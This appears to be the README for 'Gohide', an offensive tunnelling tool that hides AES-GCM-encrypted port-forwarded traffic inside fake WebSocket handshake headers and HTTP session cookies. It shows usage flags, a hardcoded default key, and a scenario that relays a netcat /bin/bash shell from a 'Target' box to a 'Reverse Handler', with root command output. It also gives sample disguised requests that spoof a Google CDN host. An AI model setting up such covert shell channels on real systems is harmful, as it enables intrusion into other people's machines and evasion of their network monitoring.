Gohide - Tunnel Port To Port Traffic Over An Obfuscated Channel With AES-GCM Encryption

Tunnel port to port traffic via an obfuscated channel with AES-GCM encryption.

Obfuscation Modes

Session Cookie HTTP GET (http-client)
Set-Cookie Session Cookie HTTP/2 200 OK (http-server)
WebSocket Handshake "Sec-WebSocket-Key" (websocket-client)
WebSocket Handshake "Sec-WebSocket-Accept" (websocket-server)
No obfuscation, just use AES-GCM encrypted messages (none)

AES-GCM is enabled by default for each of the options above.

Usage

[email protected]:/opt/gohide-dev# ./gohide -h
Usage of ./gohide:
  -f string
    	listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default "0.0.0.0:8081")
  -key openssl passwd -1 -salt ok | md5sum
    	aes encryption secret: use '-k openssl passwd -1 -salt ok | md5sum' to derive key from password (default "5fe10ae58c5ad02a6113305f4e702d07")
  -l string
    	listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:8080")
  -m string
    	obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default "none")
  -pem string
    	path to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:target.com', none = plaintext mode (default "default")
  -r string
    	forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:9999")

Scenario

Box A - Reverse Handler.

[email protected]:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-client
Local Port Forward Listening: 127.0.0.1:8080
FakeSrv Listening: 0.0.0.0:8081

Box B - Target.

[email protected]:/opt/gohide# ./gohide -f 0.0.0.0:9091 -l 127.0.0.1:9090 -r target.com:8081 -m websocket-server
Local Port Forward Listening: 127.0.0.1:9090
FakeSrv Listening: 0.0.0.0:9091

Note: /etc/hosts "127.0.0.1 target.com"

Box B - Netcat /bin/bash

Box A - Netcat client

[email protected]:/opt/gohide# nc -v 127.0.0.1 8080
localhost [127.0.0.1] 8080 (http-alt) open
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux
netstat -pantwu 
Active Internet connections (servers and established)
tcp        0      0 127.0.0.1:39684         127.0.0.1:8081          ESTABLISHED 14334/./gohide

Obfuscation Samples

websocket-client (Box A to Box B)

Sec-WebSocket-Key contains AES-GCM encrypted content e.g. "uname -a".

GET /news/api/latest HTTP/1.1
Host: cdn-tb0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62
Sec-WebSocket-Version: 13

websocket-server (Box B to Box A)

Sec-WebSocket-Accept contains AES-GCM encrypted output.

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI=

http-client

Session cookie header contains AES-GCM encrypted content

GET /news/api/latest HTTP/1.1
Host: cdn-tbn0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://www.bbc.co.uk/
Connection: keep-alive
Cookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Secure; HttpOnly

http-server

Set-Cookie header contains AES-GCM encrypted content.

HTTP/2.0 200 OK
content-encoding: gzip
content-type: text/html; charset=utf-8
pragma: no-cache
server: nginx
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
cache-control: no-cache, no-store, must-revalidate
expires: Thu, 21 Nov 2019 01:07:15 GMT
date: Thu, 21 Nov 2019 01:07:15 GMT
content-length: 30330
vary: Accept-Encoding
X-Firefox-Spdy: h2
Set-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Secure; Path=/; HttpOnly

none

8JWxXufVora2FNa/8m2Vnub6oiA2raV4Q5tUELJA

Future

Fix up error handling.

Enjoy~